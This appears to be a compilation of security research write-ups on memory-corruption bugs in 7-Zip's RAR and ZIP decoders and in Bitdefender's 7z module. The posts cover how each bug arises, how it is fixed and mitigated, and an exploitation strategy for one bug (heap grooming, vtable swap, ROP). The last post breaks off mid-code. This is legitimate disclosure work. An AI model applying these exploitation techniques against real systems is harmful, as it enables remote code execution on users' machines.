## Introduction

In the following, I will outline two bugs that affect 7-Zip before version 18.00 as well as p7zip. The first one (RAR PPMd) is the more critical and the more involved one. The second one (ZIP Shrink) seems to be less critical, but also much easier to understand.

## Memory Corruptions via RAR PPMd (CVE-2018-5996)

7-Zip’s RAR code is mostly based on a recent UnRAR version. For version 3 of the RAR format, PPMd can be used, which is an implementation of the PPMII compression algorithm by Dmitry Shkarin. If you want to learn more about the details of PPMd and PPMII, I’d recommend Shkarin’s paper PPM: one step to practicality1.

Interestingly, the 7z archive format can be used with PPMd as well, and 7-Zip uses the same code that is used for RAR3. As a matter of fact, this is the very PPMd implementation that was used by Bitdefender in a way that caused a stack based buffer overflow.

In essence, this bug is due to improper exception handling in 7-Zip’s RAR3 handler. In particular, one might argue that it is not a bug in the PPMd code itself or in UnRAR’s extraction code.

### The Bug

The RAR handler has a function NArchive::NRar::CHandler::Extract2 containing a loop that looks roughly as follows (heavily simplified!):

``````for (unsigned i = 0;; i++, /*OMITTED: unpack size updates*/) {
//OMITTED: retrieve i-th item and setup input stream
CMyComPtr<ICompressCoder> commonCoder;
switch (item.Method) {
case '0':
{
commonCoder = copyCoder;
break;
}
case '1':
case '2':
case '3':
case '4':
case '5':
{
unsigned m;
for (m = 0; m < methodItems.Size(); m++)
if (methodItems[m].RarUnPackVersion == item.UnPackVersion) { break; }
if (m == methodItems.Size()) { m = methodItems.Add(CreateCoder(/*OMITTED*/)); }
//OMITTED: solidness check
commonCoder = methodItems[m].Coder;
break;
}
default:
outStream.Release();
RINOK(extractCallback->SetOperationResult(NExtract::NOperationResult::kUnsupportedMethod));
continue;
}

HRESULT result = commonCoder->Code(inStream, outStream, &packSize, &outSize, progress);
//OMITTED: encryptedness, outsize and crc check
outStream.Release();

if (result != S_OK) {
if (result == S_FALSE) { opRes = NExtract::NOperationResult::kDataError; }
else if (result == E_NOTIMPL) { opRes = NExtract::NOperationResult::kUnsupportedMethod; }
else { return result; }
}
RINOK(extractCallback->SetOperationResult(opRes));
}
``````

The important bit about this function is essentially that at most one coder is created for each RAR unpack version. If an archive contains multiple items that are compressed with the same RAR unpack version, those will be decoded with the same coder object.

Observe, moreover, that a call to the `Code` method can fail, returning the result `S_FALSE`, and the created coder will be reused for the next item anyway, given that the callback function does not catch this (it does not). So let us see where the error code `S_FALSE` may come from. The method NCompress::NRar3::CDecoder::Code3 looks as follows (again simplified):

``````STDMETHODIMP CDecoder::Code(ISequentialInStream *inStream, ISequentialOutStream *outStream,
const UInt64 *inSize, const UInt64 *outSize, ICompressProgressInfo *progress) {
try {
if (!inSize) { return E_INVALIDARG; }
//OMITTED: allocate and initialize VM, window and bitdecoder
_outStream = outStream;
_unpackSize = outSize ? *outSize : (UInt64)(Int64)-1;
return CodeReal(progress);
}
catch(const CInBufferException &e)  { return e.ErrorCode; }
catch(...) { return S_FALSE; }
}
``````

The `CInBufferException` is interesting. As the name suggests, this exception may be thrown while reading from the input stream. It is not completely straightforward, but nevertheless easily possible to trigger the exception with a RAR3 archive item such that the error code is `S_FALSE`. I will leave it as an exercise for the interested reader to figure out the details of how this can be achieved.

Why is this interesting? Well, because in case RAR3 with PPMd is used this exception may be thrown in the middle of an update of the PPMd model, putting the soundness of the model state at risk. Recall that the same coder will be used for the next item even after a `CInBufferException` with error code `S_FALSE` has been thrown.

Note, moreover, that the RAR3 decoder holds the PPMd model state. A brief look at the method NCompress::NRar3::CDecoder::InitPPM3 reveals the fact that this model state is only reinitialized if an item explicitly requests it. This is a feature that allows to keep the same model with the collected probability heuristics between different items. But it also means that we can do the following:

• Construct the first item of a RAR3 archive such that a `CInBufferException` with error code `S_FALSE`is thrown in the middle of a PPMd model update. Essentially, this means that we can let an arbitrary call to the `Decode` method of the range decoder used in `Ppmd7_DecodeSymbol`4 fail, jumping out of the PPMd code.
• The subsequent item of the archive does not have the `reset` bit set that would cause the model to be reinitialized. Hence, the PPMd code will operate on a potentially broken model state.

So far this may not look too bad. In order to understand how this bug can be turned into attacker controlled memory corruptions, we need to understand a little bit more about the PPMd model state and how it is updated.

### PPMd Preliminaries

The main idea of all PPM compression algorithms is to build a Markov model of some finite order D. In the PPMd implementation, the model state is essentially a 256-ary context tree of maximum depth D, in which the path from the root to the current context node is to be interpreted as a sequence of byte symbols. In particular, the parent relation is to be understood as a suffix relation. Additionally, every context node stores frequency statistics about possible successor symbols connected with a successor context node.

A context node is of type `CPpmd7_Context`, defined as follows:

``````typedef struct CPpmd7_Context_ {
UInt16 NumStats;
UInt16 SummFreq;
CPpmd_State_Ref Stats;
CPpmd7_Context_Ref Suffix;
} CPpmd7_Context;
``````

The field `NumStats` holds the number of elements the `Stats` array contains5. The type `CPpmd_State` is defined as follows:

``````typedef struct {
Byte Symbol;
Byte Freq;
UInt16 SuccessorLow;
UInt16 SuccessorHigh;
} CPpmd_State;
``````

So far, so good. Now what about the model update? I will spare you the details, describing only abstractly how a new symbol is decoded6:

• When `Ppmd7_DecodeSymbol` is called, the current context is `p->MinContext`, which is equal to `p->MaxContext`, assuming a sound model state.
• threshold value is read from the range decoder. This value is used to find a corresponding symbol in the `Stats` array of the current context `p->MinContext`.
• If no corresponding symbol can be found, `p->MinContext` is moved upwards the tree (following the `suffix` links) until a context with (strictly) larger `Stats` array is found. Then, a new threshold is read and used to find a corresponding value in the current `Stats` array, ignoring the symbols of the contexts that have been previously visited. This process is repeated until a value is found.
• Finally, the ranger decoder’s `decode` method is called, the found state is written to `p->FoundState`, and one of the `Ppmd7_Update` functions is called to update the model. As a part of this process, the `UpdateModel` function adds the found symbol to the `Stats` array of each context between `p->MaxContext` and `p->MinContext` (exclusively).

One of the key invariants the update mechanism tries to establish is that the `Stats` array of every context contains each of the 256 symbols at most once. However, this property only follows inductively, since there is no explicit duplicate check when a new symbol is inserted7. With the bug described above, it is easy to see how we can add duplicate symbols to `Stats` arrays:

• The first RAR3 item is created such that a few context nodes are created, and the function `Ppmd7_DecodeSymbol` then moves `p->MinContext` upwards the tree at least once, until the corresponding symbol is found. Then, the subsequent call to the range decoders `decode` method fails with a `CInBufferException`.
• The next RAR3 item does not have the `reset` bit set, so that we can continue with the previously created PPMd model.
• The `Ppmd7_DecodeSymbol` function is entered with a fresh range decoder and `p->MinContext != p->MaxContext`. It finds the corresponding symbol immediately in `p->MinContext`. However, this symbol may now be one that already occurs in the contexts between `p->MaxContext` and `p->MinContext`. When the `UpdateModel` function is called, this symbol is added as a duplicate to the `Stats` array to each context between `p->MaxContext` and `p->MinContext` (exclusively).

Okay, so now we know how to add duplicate symbols into the `Stats` array. Let us see how we can make use of this to cause an actual memory corruption.

### Triggering a Stack Buffer Overflow

The following code is run as a part of `Ppmd7_DecodeSymbol` to move the `p->MinContext` pointer upwards the context tree:

``````CPpmd_State *ps[256];
unsigned numMasked = p->MinContext->NumStats;
do {
p->OrderFall++;
if (!p->MinContext->Suffix) { return -1; }
p->MinContext = Ppmd7_GetContext(p, p->MinContext->Suffix);
} while (p->MinContext->NumStats == numMasked);
UInt32 hiCnt = 0;
CPpmd_State *s = Ppmd7_GetStats(p, p->MinContext);
unsigned i = 0;
unsigned num = p->MinContext->NumStats - numMasked;
do {
int k = (int)(MASK(s->Symbol));
hiCnt += (s->Freq & k);
ps[i] = s++;
i -= k;
} while (i != num);
``````

`MASK` is a macro that accesses a byte array which holds the value `0x00` at the index of each masked symbol, and the value `0xFF` otherwise. Clearly, the intention is to fill the stack buffer `ps` with pointers to all unmasked symbol states.

Observe that the stack buffer `ps` has a fixed size of 256 and there is no overflow check. This means that if the `Stats` array contains a masked symbol multiple times, we can access the array out of bound and overflow the `ps` buffer.

Usually, such out of bound buffer reads make exploitation very difficult, because one cannot easily control the memory that is read. However, this is no issue in the case of PPMd, because the implementation allocates only one large pool on the heap, and then makes use of its own memory allocator to allocate all context and state structs within this pool. This ensures very quick allocation and a low memory usage, but it also allows an attacker to control the out of bound read to structures within this pool very reliably and independently of the system’s heap implementation. For example, the first RAR3 item can be constructed such that the pool is filled with the desired data, avoiding uninitialized out of bound reads.

Finally, note that the attacker can overflow the stack buffer with pointers to data that is highly attacker controlled itself.

### Triggering a Heap Buffer Overflow

Building on the previous section, we now want to corrupt the heap. Perhaps not surprisingly, it is also possible to read the `Stats` array out of bound without overflowing the stack buffer `ps`. This allows us to let `s` point to a CPpmd_State with attacker controlled data. Since `p->FoundState` may be one of the `ps`states and the model updating process assumes that the `Stats` array of `p->MinContext` as well as its suffix contexts contain the symbol `p->FoundState->Symbol`.

This code fragment is part of the function `UpdateModel`:

``````do { s++; } while (s->Symbol != p->FoundState->Symbol);
if (s[0].Freq >= s[-1].Freq) {
SwapStates(&s[0], &s[-1]);
s--;
}
``````

Again, there is no bound check on the `Stats` array, so the pointer `s` can be moved easily over the end of the allocated heap buffer. Optimally, we would construct our input such that `s` is out of bound and `s-1`within the allocated pool, allowing an attacker controlled heap corruption.

### On Attacker Control, Exploitation and Mitigation

The 7-Zip binaries for Windows are shipped with neither the `/NXCOMPAT` nor the `/DYNAMICBASE` flags. This means effectively that 7-Zip runs without ASLR on all Windows systems, and DEP is only enabled on Windows x64 or on Windows 10 x86. For example, the following screenshot shows the most recent 7-Zip 18.00 running on a fully updated Windows 8.1 x86:

Moreover, 7-Zip is compiled without `/GS` flag, so there are no stack canaries.

Since there are various ways to corrupt the stack and the heap in highly attacker controlled ways, exploitation for remote code execution is straightforward, especially if no DEP is used.

I have discussed this issue with Igor Pavlov and tried to convince him to enable all three flags. However, he refused to enable `/DYNAMICBASE` because he prefers to ship the binaries without relocation table to achieve a minimal binary size. Moreover, he doesn’t want to enable `/GS`, because it could affect the runtime as well as the binary size. At least he will try to enable `/NXCOMPAT` for the next release. Apparently, it is currently not enabled because 7-Zip is linked with an obsolete linker that doesn’t support the flag.

### Conclusion

The outlined heap and stack memory corruptions are only scratching the surface of possible exploitation paths. Most likely there are many other and possibly even neater ways of causing memory corruptions in an attacker controlled fashion.

This bug demonstrates again how difficult it can be to integrate external code into an existing code base. In particular, handling exceptions correctly and understanding the control flow they induce can be challenging.

In the post about Bitdefender’s PPMd stack buffer overflow, I already made clear that the PPMd code is very fragile. A slight misuse of its API, or a tiny mistake while integrating it into another code base may lead to multiple dangerous memory corruptions.

If you use Shkarin’s PPMd implementation, I would strongly recommend you to harden it by adding out of bound checks wherever possible, and to make sure the basic model invariants always hold. Moreover, in case exceptions are used, one could add an additional `error` flag to the model that is set to true before updating the model, and only set to false after the update has been successfully completed. This should significantly mitigate the danger of corrupting the model state.

## ZIP Shrink: Heap Buffer Overflow (CVE-2017-17969)

Let us proceed by discussing the other bug, which concerns ZIP Shrink. Shrink is an implementation of the Lempel-Ziv-Welch (LZW)8 compression algorithm. It has been used by PKWARE’s PKZIP before version 2.0, which was released in 1993 (sic!). In fact, shrink is so old and so rarely used, that already in 2005, when Igor Pavlov wrote 7-Zip’s shrink decoder, he had a hard time9 finding sample archives to test the code.

In essence, shrink is LZW with a dynamic code size between 9 and 13 bits, and a special feature that allows to partially clear the dictionary.

7-Zip’s shrink decoder is quite straightforward and easy to understand. In fact, it consists of only 200 lines of code. Nevertheless, it contains a buffer overflow bug.

### The Bug

The shrink model’s state essentially only consists of the two arrays `_parents` and `_suffixes`, which store the LZW dictionary in a space efficient way. Moreover, there is a buffer `_stack` to which the current sequence is written:

``````  UInt16 _parents[kNumItems];
Byte _suffixes[kNumItems];
Byte _stack[kNumItems];
``````

The following code fragment is part of the method NCompress::NShrink::CDecoder::CodeReal10:

``````unsigned cur = sym;
unsigned i = 0;
while (cur >= 256) {
_stack[i++] = _suffixes[cur];
cur = _parents[cur];
}
``````

Observe that there is no bound check on the value of `i`.

One way this can be exploited to overflow the heap buffer `_stack` is by constructing a symbol of sequence such that the `_parents` array forms a cycle. This is possible, because the decoder only ensures that a parent node does not link to itself (cycle of length one). Interestingly, the old versions of PKZIP create shrink archives that may contain such self-linked parents, so a compatible implementation should actually accept this (7-Zip 18.00 fixes this).

Moreover, using the special symbol sequence `256,2` one can clear parent nodes in an attacker controlled fashion. A cleared parent node will be set to `kNumItems`. Since there is no check whether a parent has been cleared or not, the parents array can be accessed out of bound.

This sounds promising, and it is actually possible to construct archives that make the decoder write attacker controlled data out of bound. However, I didn’t find an easy way to do so without ending up in an infinite loop. This matters, because the index `i` is increased in every iteration of the loop. Hence, an infinite loop will quickly lead to a segmentation fault, making exploitation for code execution very difficult (if not impossible). However, I didn’t spend too much time on this, so maybe it is possible to corrupt the heap without entering an infinite loop after all.

## Introduction

For the write-up on the 7z PPMD bug, I read a lot of the original 7-Zip source code and discovered a few new things that looked promising to investigate in anti-virus products. Therefore, I took another stab at analyzing Bitdefender’s 7z module.

I previously wrote about relaxed file processing. The Bitdefender 7z PPMD stack buffer overflow1 was a good example of relaxed file processing by removing a check (that is, removing code).

This bug demonstrates another fundamental difficulty that arises when incorporating new code into an existing code base. In particular, a minimal set of changes to the new code is often inevitable. Mostly, this affects memory allocation and code that is concerned with file access, especially if a totally different file abstraction is used. The presented bug is an example of the former type of difficulty. More specifically, an incorrect use of a memory allocation function that extends the 7-Zip source code in Bitdefender’s 7z module causes a heap buffer overflow.

## Getting Into the Details

When Bitdefender’s 7z module discovers an EncodedHeader3 in a 7z archive, it tries to decompress it with the LZMA decoder. Their code seems to be based on 7-Zip, but they made a few changes. Loosely speaking, the extraction of a 7z EncodedHeader is implemented as follows:

1. Read the `unpackSize` from the 7z EncodedHeader.
2. Allocate `unpackSize` bytes.
3. Use the C API of the LZMA decoder that comes with 7-Zip and let it decompress the stream.

The following snippet shows how the allocation function is called:

``````1DD02A845FA lea     rcx, [rdi+128h] //<-------- result
1DD02A84601 mov     rbx, [rdi+168h]
1DD02A84608 mov     [rsp+128h], rsi
1DD02A84610 mov     rsi, [rax+10h]
1DD02A84614 mov     [rsp+0E0h], r15
1DD02A8461C mov     edx, [rsi]      //<-------- size
1DD02A8461E call    SZ_AllocBuffer``````

Recall the x64 calling convention. In particular, the first two integer arguments (from left to right) are passed via `rcx` and `rdx`.

`SZ_AllocBuffer` is a function within the Bitdefender 7z module. It has two arguments:

• The first argument `result` is a pointer to which the result (a pointer to the allocated buffer in case of success or `NULL` in case of a failure) is written.
• The second argument `size` is the allocation size.

Let us look at the functions’s implementation.

``````260ED3025D0 SZ_AllocBuffer proc near
260ED3025D0
260ED3025D0 mov     [rsp+8], rbx
260ED3025D5 push    rdi
260ED3025D6 sub     rsp, 20h
260ED3025DA mov     rbx, rcx
260ED3025DD mov     edi, edx //<-------- edi holds size
260ED3025DF mov     rcx, [rcx]
260ED3025E2 test    rcx, rcx
260ED3025E5 jz      short loc_260ED3025EC
260ED3025E7 call    near ptr irrelevant_function
260ED3025EC
260ED3025EC loc_260ED3025EC:
260ED3025EC cmp     edi, 0FFFFFFFFh  //<------- {*}
260ED3025EF jbe     short loc_260ED302606
260ED3025F1 xor     ecx, ecx
260ED3025F3 mov     [rbx], rcx
260ED3025F6 mov     eax, ecx
260ED3025F8 mov     [rbx+8], ecx
260ED3025FB mov     rbx, [rsp+30h]
260ED302600 add     rsp, 20h
260ED302604 pop     rdi
260ED302605 retn
260ED302606 ; ------------------------------------
260ED302606
260ED302606 loc_260ED302606:
260ED302606 mov     rcx, rdi  //<------ set size argument for mymalloc
260ED302609 call    mymalloc
//[rest of the function omitted]``````

Note that `mymalloc` is just a wrapper function that eventually calls malloc and returns the result.

Apparently, the programmer expected the `size` argument of `SZ_AllocBuffer` to be of a type with size greater than 32 bits. Obviously, it is only a 32-bit value.

It is funny to see that the compiler failed to optimize away the comparison at `{*}`, given that its result is only used for an unsigned comparison `jbe`. If you have any hints on why this might happen, I’d be very interested to hear them.

After `SZ_AllocBuffer` returns, the function `LzmaDecode` is called:

``LzmaDecode(Byte *dest, SizeT *destLen, const Byte *src, SizeT *srcLen, /* further arguments omitted */)``

Note that `dest` is the buffer allocated with `SZ_AllocBuffer` and `destLen` is supposed to be a pointer to the buffer’s size.

In the reference implementation, `SizeT` is defined as `size_t`. Interestingly, Bitdefender’s 7z module uses a 64-bit type for `SizeT` in both the 32-bit and the 64-bit version, making both versions vulnerable to this bug. I suspect that this is the result of an effort to create identical behavior for the 32-bit and 64-bit versions of the engine.

The LZMA decoder extracts the given `src` stream and writes (up to) `*destLen` bytes to the `dest` buffer, where `*destLen` is the 64-bit `unpackSize` from the 7z EncodedHeader. This results in a neat heap buffer overflow.

## Triggering the Bug

To trigger the bug, we create a 7z LZMA stream containing the data we want to write on the heap. Then, we construct a 7z EncodedHeader with a Folder that has an `unpackSize` of `(1<<32) + 1`. This should make the function `SZ_AllocBuffer` allocate a buffer of 1 byte.

That sounds nice, but does this actually work?

``````0:000> g
!Heap block at 1F091472D40 modified at 1F091472D51 past requested size of 1
(2f8.14ec): Break instruction exception - code 80000003 (first chance)
ntdll!RtlpNtMakeTemporaryKey+0x435e:
00007ff9`d849c4ce cc              int     3

0:000> db 1F091472D51
000001f0`91472d51  59 45 53 2c 20 54 48 49-53 20 57 4f 52 4b 53 ab  YES, THIS WORKS.
``````

## Attacker Control and Exploitation

The attacker can write completely arbitrary data to the heap without any restriction. A file system minifilter is used to scan all files that touch the disk, making this vulnerability easily exploitable remotely, for example by sending an e-mail with a crafted file as attachment to the victim.

Moreover, the engine runs unsandboxed and as `NT Authority\SYSTEM`. Hence, this bug is highly critical. However, since ASLR and DEP are in place, successful exploitation for remote code execution might require another bug (e.g. an information leak) to bypass ASLR.

Note also that Bitdefender’s engine is licensed to many different anti-virus vendors, all of which could be affected by this bug.

## The Fix

The patched version of the function `SZ_AllocBuffer` looks as follows:

``````1E0CEA52AE0 SZ_AllocBuffer proc near
1E0CEA52AE0
1E0CEA52AE0 mov     [rsp+8], rbx
1E0CEA52AE5 mov     [rsp+10h], rsi
1E0CEA52AEA push    rdi
1E0CEA52AEB sub     rsp, 20h
1E0CEA52AEF mov     esi, 0FFFFFFFFh
1E0CEA52AF4 mov     rdi, rdx  //<-----rdi holds the size
1E0CEA52AF7 mov     rbx, rcx
1E0CEA52AFA cmp     rdx, rsi  //<------------{1}
1E0CEA52AFD jbe     short loc_1E0CEA52B11
1E0CEA52AFF xor     eax, eax
1E0CEA52B01 mov     rbx, [rsp+30h]
1E0CEA52B06 mov     rsi, [rsp+38h]
1E0CEA52B0B add     rsp, 20h
1E0CEA52B0F pop     rdi
1E0CEA52B10 retn
1E0CEA52B11 ; -----------------------------------
1E0CEA52B11
1E0CEA52B11 loc_1E0CEA52B11:
1E0CEA52B11 mov     rcx, [rcx]
1E0CEA52B14 test    rcx, rcx
1E0CEA52B17 jz      short loc_1E0CEA52B1E
1E0CEA52B19 call    near ptr irrelevant_function
1E0CEA52B1E
1E0CEA52B1E loc_1E0CEA52B1E:
1E0CEA52B1E cmp     edi, esi  //<------------{2}
1E0CEA52B20 jbe     short loc_1E0CEA52B29
1E0CEA52B22 xor     ecx, ecx
1E0CEA52B24 mov     [rbx], rcx
1E0CEA52B27 jmp     short loc_1E0CEA52B3B
1E0CEA52B29 ; -----------------------------------
1E0CEA52B29
1E0CEA52B29 loc_1E0CEA52B29:
1E0CEA52B29 mov     ecx, edi
1E0CEA52B2B call    near ptr mymalloc
//[rest of the function omitted]``````

Most importantly, we see that the function’s second argument `size` has been changed to a 64-bit type.

Note that at `{1}`, a check ensures that the passed `size` is not greater than `0xFFFFFFFF`.

At `{2}`, the value of `rdi` is guaranteed to be at most `0xFFFFFFFF`, hence it suffices to use the 32-bit register `edi`. However, just as in the original version (see above), it is useless to compare this 32-bit value once more to `0xFFFFFFFF` and it is a mystery to me why the compiler does not optimize this away.

Using a full 64-bit type for the second argument `size` resolves the described bug.

## Conclusion

In a nutshell, the discovered bug is a 64-bit value `size` being passed to the allocation function `SZ_AllocBuffer` which looks roughly like this4:

``void* SZ_AllocBuffer(void *resultptr, uint32_t size);``

Assuming that the size is not explicitly casted, the compiler should throw a warning of the following kind:

``````warning C4244: 'argument': conversion from 'uint64_t' to 'uint32_t', possible loss of data
``````

Note that in Microsoft’s MSVC compiler, this is a Level2 warning (Level1 being the lowest and Level4 being the highest level). Hence, this bug most likely could have been avoided simply by taking compiler warnings seriously.

For a critical codebase such as the engine of an anti-virus product, it would be adequate to treat warnings as errors, at least up to a warning level of 2 or 3.

Nevertheless, the general type of bug shows that even if only few lines of additional code are necessary to incorporate external code (such as the 7-Zip code) into a code base, those very lines can be particularly prone to error.

## Introduction

7-Zip’s RAR code is mostly based on a recent UnRAR version, but especially the higher-level parts of the code have been heavily modified. As we have seen in some of my earlier blog posts, the UnRAR code is very fragile. Therefore, it is hardly surprising that any changes to this code are likely to introduce new bugs.

Very abstractly, the bug can be described as follows: The initialization of some member data structures of the RAR decoder classes relies on the RAR handler to configure the decoder correctly before decoding something. Unfortunately, the RAR handler fails to sanitize its input data and passes the incorrect configuration into the decoder, causing usage of uninitialized memory.

Now you may think that this sounds harmless and boring. Admittedly, this is what I thought when I first discovered the bug. Surprisingly, it is anything but harmless.

In the following, I will outline the bug in more detail. Then, we will take a brief look at 7-Zip’s patch. Finally, we will see how the bug can be exploited for remote code execution.

## The Bug (CVE-2018-10115)

This new bug arises in the context of handling solid compression. The idea of solid compression is simple: Given a set of files (e.g., from a folder), we can interpret them as the concatenation to one single data block, and then compress this whole block (as opposed to compressing every file for itself). This can yield a higher compression rate, in particular if there are many files that are somewhat similar.

In the RAR format (before version 5), solid compression can be used in a very flexible way: Each item (representing a file) of the archive can be marked as solid, independently from all other items. The idea is that if an item is decoded that has this `solid` bit set, the decoder would not reinitialize its state, essentially continuing from the state of the previous item.

Obviously, one needs to make sure that the decoder object initializes its state at the beginning (for the first item it is decoding). Let us have a look at how this is implemented in 7-Zip. The RAR handler has a method NArchive::NRar::CHandler::Extract1 that contains a loop which iterates with a variable `index` over all items. In this loop, we can find the following code:

``````Byte isSolid = (Byte)((IsSolid(index) || item.IsSplitBefore()) ? 1: 0);
if (solidStart) {
isSolid = 0;
solidStart = false;
}

RINOK(compressSetDecoderProperties->SetDecoderProperties2(&isSolid, 1));
``````

The basic idea is to have a boolean flag `solidStart`, which is initialized to `true` (before the loop), making sure that the decoder is configured with `isSolid==false` for the first item that is decoded. Furthermore, the decoder will (re)initialize its state (before starting to decode) whenever it is called with `isSolid==false`.

That seems to be correct, right? Well, the problem is that RAR supports three different encoding methods (excluding version 5), and each item can be encoded with a different method. In particular, for each of these three encoding methods there is a different decoder object. Interestingly, the constructors of these decoder objects leave a large part of their state uninitialized. This is because the state needs to be reinitialized for non-solid items anyway and the implicit assumption is that the caller of the decoder would make sure that the first call on the decoder is with `isSolid==false`. We can easily violate this assumption with a RAR archive that is constructed as follows2:

• The first item uses encoding method v1.
• The second item uses encoding method v2 (or v3), and has the `solid` bit set.

The first item will cause the `solidStart` flag to be set to `false`. Then, for the second item, a new Rar2 decoder object is created and (since the `solid` flag is set) the decoding is run with a large part of the decoder’s state being uninitialized.

At first sight, this may not look too bad. However, various parts of the uninitialized state can be used to cause memory corruptions:

1. Member variables holding the size of heap-based buffers. These variables may now hold a size that is larger than the actual buffer, allowing a heap-based buffer overflow.
2. Arrays with indices that are used to index into other arrays, for both reading and writing values.
3. The PPMd state discussed in my previous post. Recall that the code relies heavily on the soundness of the model’s state, which can now be violated easily.

Obviously, the list is not complete.

## The Fix

In essence, the bug is that the decoder classes do not guarantee that their state is correctly initialized before they are used for the first time. Instead, they rely on the caller to configure the decoder with `isSolid==false` before the first item is decoded. As we have seen, this does not turn out very well.

There are two different approaches to resolve this bug:

1. Make the constructor of the decoder classes initialize the full state.
2. Add an additional boolean member `solidAllowed` (which is initialized to `false`) to each decoder class. If `isSolid==true` even though `solidAllowed==false`, the decoder can abort with a failure (or set `isSolid=false`).

UnRAR seems to implement the first option. Igor Pavlov, however, chose to go with a variant of the second option for 7-Zip.

In case you want to patch a fork of 7-Zip or you are just interested in the details of the fix, you might want to have a look at this file, which summarizes the changes.

## On Exploitation Mitigation

In the previous post on the 7-Zip bugs CVE-2017-17969 and CVE-2018-5996, I mentioned the lack of DEP and ASLR in 7-Zip before version 18.00 (beta). Shortly after the release of that blog post, Igor Pavlov released 7-Zip 18.01 with the `/NXCOMPAT` flag, delivering on his promise to enable DEP on all platforms. Moreover, all dynamic libraries (`7z.dll``7-zip.dll``7-zip32.dll`) have the `/DYNAMICBASE` flag and a relocation table. Hence, most of the running code is subject to ASLR.

However, all main executables (`7zFM.exe``7zG.exe``7z.exe`) come without `/DYNAMICBASE` and have a stripped relocation table. This means that not only are they not subject to ASLR, but you cannot even enforce ASLR with a tool like EMET or its successor, the Windows Defender Exploit Guard.

Obviously, ASLR can only be effective if all modules are properly randomized. I discussed this with Igor and convinced him to ship the main executables of the new 7-Zip 18.05 with `/DYNAMICBASE` and relocation table. The 64-bit version still runs with the standard non-high entropy ASLR (presumably because the image base is smaller than 4GB), but this is a minor issue that can be addressed in a future release.

On an additional note, I would like to point out that 7-Zip never allocates or maps additional executable memory, making it a great candidate for Arbitrary Code Guard (ACG). In case you are using Windows 10, you can enable it for 7-Zip by adding the main executables `7z.exe``7zFM.exe`, and `7zG.exe` in the Windows Defender Security Center (App & browser control -> Exploit Protection -> Program settings). This will essentially enforce a W^X policy and therefore make exploitation for code execution substantially more difficult.

## Writing a Code Execution Exploit

Normally, I would not spend much time thinking about actual weaponized exploits. However, it can sometimes be instructive to write an exploit, if only to learn how much it actually takes to succeed in the given case.

The platform we target is a fully updated Windows 10 Redstone 4 (RS4, Build 17134.1) 64-bit, running 7-Zip 18.01 x64.

### Picking an Adequate Exploitation Scenario

There are three basic ways to extract an archive using 7-Zip:

1. Open the archive with the GUI and either extract files separately (using drag and drop), or extract the whole archive using the `Extract` button.
2. Right-click the archive and select `"7-Zip->Extract Here"` or `"7-Zip->Extract to subfolder"` from the context menu.
3. Using the command-line version of 7-Zip.

Each of these three methods will invoke a different executable (`7zFM.exe``7zG.exe``7z.exe`). Since we want to exploit the lack of ASLR in these modules, we need to fix the extraction method.

The second method (extraction via context menu) seems to be the most attractive one, since it is a method that is probably used very often, and at the same time it should give us a quite predictable behavior (unlike the first method, where a user might decide to open the archive but then extract the “wrong” file). Hence, we go with the second method.

### Exploitation Strategy

Using the bug from above, we can create a Rar decoder that operates on (mostly) uninitialized state. So let us see for which Rar decoder this may allow us to corrupt the heap in an attacker-controlled manner.

One possibility is to use the Rar1 decoder. The method NCompress::NRar1::CDecoder::HuffDecode3contains the following code:

``````int bytePlace = DecodeNum(...);
// some code omitted
bytePlace &= 0xff;
// more code omitted
for (;;)
{
curByte = ChSet[bytePlace];
newBytePlace = NToPl[curByte++ & 0xff]++;
if ((curByte & 0xff) > 0xa1)
CorrHuff(ChSet, NToPl);
else
break;
}

ChSet[bytePlace] = ChSet[newBytePlace];
ChSet[newBytePlace] = curByte;
return S_OK;
``````

This is very useful, because the uninitialized state of the Rar1 decoder includes the `uint32_t` arrays `ChSet` and `NtoPl`. Hence, `newBytePlace` is an attacker-controlled `uint32_t`, and so is `curByte` (with the restriction that the least significant byte cannot be larger than `0xa1`). Moreover, `bytePlace` is determined by the input stream, so it is attacker-controlled as well (but cannot be larger than `0xff`).

So this would give us a pretty good (though not perfect) read-write primitive. Note, however, that we are in a 64-bit address space, so we will not be able to reach the vtable pointer of the Rar1 decoder object with a 32-bit offset (even if multiplied by `sizeof(uint32_t)`) from ChSet. Therefore, we will target the vtable pointer of an object that is placed after the Rar1 decoder on the heap.

The idea is to use a Rar3 decoder object for this purpose, which we will use at the same time to hold our payload. In particular, we use the RW-primitive from above to swap the pointer `_windows`, which is a member variable of the Rar3 decoder, with the vtable pointer of the very same Rar3 decoder object.`_window` points to a 4MB-sized buffer which holds data that has been extracted with the decoder (i.e., it is fully attacker-controlled).

Naturally, we will fill the `_window` buffer with the address of a stack pivot (`xchg rax, rsp`), followed by a ROP chain to obtain executable memory and execute the shellcode (which we also put into the `_window`buffer).

### Putting a Replacement Object on the Heap

In order to succeed with the outlined strategy, we need to have full control of the decoder’s uninitialized memory. Roughly speaking, we will do this by making an allocation of the size of the Rar1 decoder object, writing the desired data to it, and then freeing it at some point before the actual Rar1 decoder is allocated.

Obviously, we will need to make sure that the Rar1 decoder’s allocation actually reuses the same chunk of memory that we freed before. A straightforward way to achieve this is to activate Low Fragmentation Heap (LFH) on the corresponding allocation size, then spray the LFH with multiple of those replacement objects. This actually works, but because allocations on the LFH are randomized since Windows 8, this method will never be able to place the Rar1 decoder object in constant distance to any other object. Therefore, we try to avoid the LFH and place our object on the regular heap. Very roughly, the allocation strategy is as follows:

1. Create around 18 pending allocations of all (relevant) sizes smaller than the Rar1 decoder object. This will activate LFH for these allocation sizes and prevent such small allocations from destroying our clean heap structure.
2. Allocate the replacement object and free it, making sure it is surrounded by busy allocations (and hence not merged with other free chunks).
3. Rar3 decoder is allocated (the replacement object is not reused, because the Rar3 decoder is larger than the Rar1 decoder).
4. Rar1 decoder is allocated (reusing the replacement object).

Note that it is unavoidable to allocate some decoder before allocating that Rar1 decoder, because only this way the `solidStart` flag will be set to `false` and the next decoder will not be initialized correctly (see above).

If everything works as planned, the Rar1 decoder reuses our replacement object, and the Rar3 decoder object is placed with some constant offset after the Rar1 decoder object.

### Allocating and Freeing on the Heap

Obviously, the above allocation strategy requires us to be able to make heap allocations in a reasonably controlled manner. Going through the whole code of the RAR handler, I could not find many good ways to make dynamic allocations on the default process heap that have attacker-controlled size and store attacker-controlled content. In fact, it seems that the only way to do such dynamic allocations is via the names of the archive’s items. Let us see how this works.

When an archive is opened, the method NArchive::NRar::CHandler::Open21 reads all items of the archive with the following code (simplified):

``````CItem item;

for (;;)
{
// some code omitted
bool filled;
archive.GetNextItem(item, getTextPassword, filled, error);
// some more code omitted
if (!filled) {
// some more code omitted
break;
}
